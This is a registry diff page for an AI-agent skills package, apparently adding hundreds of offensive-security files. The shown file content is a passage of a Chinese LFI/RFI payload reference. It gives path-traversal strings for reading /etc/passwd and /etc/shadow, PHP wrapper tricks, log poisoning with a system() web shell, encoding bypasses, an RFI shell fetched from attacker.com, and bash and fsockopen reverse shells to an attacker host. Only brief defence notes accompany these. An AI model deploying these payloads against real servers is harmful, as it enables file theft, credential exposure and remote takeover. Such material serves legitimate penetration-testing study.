opencode-skills-collection 4.0.42 → 4.0.44

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (297) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +49 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/lore/SKILL.md +104 -298
  95. package/bundled-skills/lore/references/audit-template.md +21 -4
  96. package/bundled-skills/lore/references/compatibility.md +51 -121
  97. package/bundled-skills/lore/references/config.md +22 -23
  98. package/bundled-skills/lore/references/entry-format.md +33 -3
  99. package/bundled-skills/lore/references/history-command.md +98 -2
  100. package/bundled-skills/lore/references/platform-mirrors.md +45 -16
  101. package/bundled-skills/lore/references/stale-new-markers.md +10 -8
  102. package/bundled-skills/lore/references/summary-template.md +8 -1
  103. package/bundled-skills/lore/references/workflows.md +192 -0
  104. package/bundled-skills/lore/scripts/README.md +14 -13
  105. package/bundled-skills/lore/scripts/README.zh-CN.md +14 -13
  106. package/bundled-skills/lore/scripts/find_duplicates.py +14 -4
  107. package/bundled-skills/lore/scripts/find_stale.py +68 -16
  108. package/bundled-skills/lore/scripts/history.py +235 -23
  109. package/bundled-skills/lore/scripts/id_hash.py +7 -4
  110. package/bundled-skills/lore/scripts/list_entries.py +82 -13
  111. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  112. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  113. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  114. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  115. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  116. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  117. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  118. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  119. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  120. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  121. package/bundled-skills/muapi-media/SKILL.md +311 -0
  122. package/bundled-skills/ot-ics/SKILL.md +117 -0
  123. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  124. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  125. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  126. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  127. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  128. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  129. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  130. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  131. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  132. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  133. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  134. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  135. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  136. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  137. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  138. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  139. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  140. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  141. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  142. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  143. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  144. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  145. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  146. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  147. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  148. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  149. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  218. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  219. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  220. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  221. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  222. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  223. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  224. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  225. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  226. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  227. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  228. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  229. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  230. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  231. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  232. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  233. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  234. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  235. package/bundled-skills/poka-yoke/SKILL.md +172 -0
  236. package/bundled-skills/project-state-governor/SKILL.md +1 -1
  237. package/bundled-skills/project-state-governor/references/project-state-schema.md +1 -1
  238. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  239. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  240. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  241. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  242. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  243. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  244. package/bundled-skills/radare2/SKILL.md +460 -0
  245. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  246. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  247. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  248. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  249. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  250. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  251. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  252. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  253. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  254. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  255. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  256. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  257. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  258. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  259. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  260. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  261. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  262. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  263. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  264. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  265. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  266. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  267. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  268. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  269. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  270. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  271. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  272. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  273. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  274. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  275. package/bundled-skills/spec-driven-loop/SKILL.md +203 -0
  276. package/bundled-skills/spec-driven-loop/references/agent-and-judge-contracts.md +120 -0
  277. package/bundled-skills/spec-driven-loop/references/document-templates.md +184 -0
  278. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  279. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  280. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  281. package/bundled-skills/thick-client/SKILL.md +104 -0
  282. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  283. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  284. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  285. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  286. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  287. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  288. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  289. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  290. package/bundled-skills/windows-ad/SKILL.md +109 -0
  291. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  292. package/package.json +1 -1
  293. package/skills_index.json +1281 -3
  294. package/bundled-skills/lore/README.md +0 -386
  295. package/bundled-skills/lore/README.zh-CN.md +0 -386
  296. package/bundled-skills/lore/WORKFLOWS.md +0 -216
  297. package/bundled-skills/lore/WORKFLOWS.zh-CN.md +0 -216
@@ -0,0 +1,1365 @@
1
+ # LFI/RFI文件包含
2
+
3
+ _12 条 web payload_
4
+
5
+ ### 本地文件包含 `lfi-basic`
6
+ _本地文件包含漏洞利用技术_
7
+ 子类:**本地包含** · tags: `lfi` `local` `file` `inclusion`
8
+
9
+ **前置条件:**
10
+ - 存在文件包含功能
11
+ - 用户可控制包含路径
12
+
13
+ **攻击链:**
14
+
15
+ **1. 探测LFI**
16
+ > 探测本地文件包含
17
+ ```
18
+ ?file=../../../etc/passwd
19
+ ?file=....//....//....//etc/passwd
20
+ ?file=..\..\..\windows\win.ini
21
+ ?page=php://filter/convert.base64-encode/resource=index.php
22
+ ```
23
+ **语法解析:**
24
+ - `../` — 上级目录遍历 _path_
25
+ - `etc/passwd` — Linux用户文件 _value_
26
+
27
+ **2. 读取敏感文件**
28
+ > 读取Linux敏感文件
29
+ _platform: linux_
30
+ ```
31
+ ../../../etc/passwd
32
+ ../../../etc/shadow
33
+ ../../../var/log/apache2/access.log
34
+ ../../../proc/self/environ
35
+ ../../../proc/self/cmdline
36
+ ```
37
+ **语法解析:**
38
+ - `/proc/self/` — 当前进程信息目录 _path_
39
+ - `environ` — 环境变量文件 _value_
40
+
41
+ **3. PHP伪协议**
42
+ > 使用PHP伪协议
43
+ ```
44
+ php://filter/convert.base64-encode/resource=config.php
45
+ php://input (POST数据作为输入)
46
+ php://data://text/plain,<?php phpinfo();?>
47
+ phar://archive.zip/shell.php
48
+ ```
49
+ **语法解析:**
50
+ - `php://filter` — PHP Filter伪协议 _value_
51
+ - `php://input` — 读取POST数据 _value_
52
+ - `data://` — Data伪协议 _value_
53
+
54
+ **4. 日志投毒**
55
+ > 通过日志投毒获取RCE
56
+ _platform: linux_
57
+ ```
58
+ 1. 包含日志文件: ../../../var/log/apache2/access.log
59
+ 2. 在User-Agent中注入: <?php system($_GET['c']); ?>
60
+ 3. 访问: ?file=../../../var/log/apache2/access.log&c=id
61
+ ```
62
+ **语法解析:**
63
+ - `access.log` — Apache访问日志 _path_
64
+ - `User-Agent` — 用户代理头 _value_
65
+
66
+ **WAF/EDR 绕过变体:**
67
+
68
+ **目录遍历绕过**
69
+ > 绕过目录遍历过滤
70
+ ```
71
+ ....//....//....//etc/passwd
72
+ ..%252f..%252f..%252fetc/passwd
73
+ ..%c0%af..%c0%af..%c0%afetc/passwd
74
+ ....\/....\/....\/etc/passwd
75
+ ```
76
+ **语法解析:**
77
+ - `%252f` — 双重URL编码的斜杠 _encoding_
78
+ - `%c0%af` — UTF-8编码的斜杠 _variable_
79
+
80
+ **后缀绕过**
81
+ > 绕过文件后缀检查
82
+ ```
83
+ ../../../etc/passwd%00
84
+ ../../../etc/passwd%00.jpg
85
+ ../../../etc/passwd/.jpg
86
+ php://filter/convert.base64-encode/resource=config.php%00
87
+ ```
88
+ **语法解析:**
89
+ - `%00` — 空字节截断 _encoding_
90
+
91
+
92
+ **概述:** 本地文件包含(LFI)漏洞允许攻击者通过操纵文件路径参数读取服务器上的任意文件,包括配置文件、源代码、密码文件等敏感信息,严重时可结合日志投毒等技术实现远程代码执行。
93
+
94
+ **漏洞原理:** LFI漏洞源于应用程序将用户输入直接拼接到文件操作函数(如PHP的include/require/fopen)中。攻击者使用../目录遍历符号访问Web根目录之外的文件,如/etc/passwd、/etc/shadow、应用配置文件等。
95
+
96
+ **利用方法:** 完整利用流程:
97
+ 1. 探测文件包含点
98
+ 2. 使用目录遍历读取敏感文件
99
+ 3. 使用伪协议读取源码
100
+ 4. 通过日志投毒获取RCE
101
+
102
+ **防御措施:** 防御措施:
103
+ 1. 使用白名单验证文件名
104
+ 2. 禁用PHP伪协议
105
+ 3. 使用basename()处理路径
106
+ 4. 限制包含目录
107
+
108
+ ---
109
+
110
+ ### 远程文件包含 `rfi-basic`
111
+ _远程文件包含漏洞利用技术_
112
+ 子类:**远程包含** · tags: `rfi` `remote` `file` `inclusion`
113
+
114
+ **前置条件:**
115
+ - 存在文件包含功能
116
+ - allow_url_include=On
117
+ - 用户可控制包含路径
118
+
119
+ **攻击链:**
120
+
121
+ **1. 探测RFI**
122
+ > 探测远程文件包含
123
+ ```
124
+ ?file=http://attacker.com/shell.txt
125
+ ?file=http://attacker.com/shell.txt%00
126
+ ?file=http://attacker.com/shell.txt?
127
+ ```
128
+ **语法解析:**
129
+ - `http://` — 远程URL协议 _domain_
130
+ - `attacker.com` — 攻击者服务器 _domain_
131
+ - `%00` — 空字节截断绕过后缀 _encoding_
132
+
133
+ **2. 托管恶意文件**
134
+ > 托管恶意文件并执行
135
+ ```
136
+ # shell.txt内容
137
+ <?php system($_GET['cmd']); ?>
138
+
139
+ # 访问
140
+ ?file=http://attacker.com/shell.txt&cmd=id
141
+ ```
142
+ **语法解析:**
143
+ - `system()` — 系统命令执行 _function_
144
+
145
+ **3. 反弹Shell**
146
+ > 获取反弹Shell
147
+ _platform: linux_
148
+ ```
149
+ # shell.txt内容
150
+ <?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?>
151
+
152
+ # 或使用
153
+ <?php $sock=fsockopen("attacker",4444);exec("/bin/sh -i <&3 >&3 2>&3"); ?>
154
+ ```
155
+ **语法解析:**
156
+ - `EXEC` — 执行存储过程 _keyword_
157
+ - `system()` — 系统命令执行 _function_
158
+
159
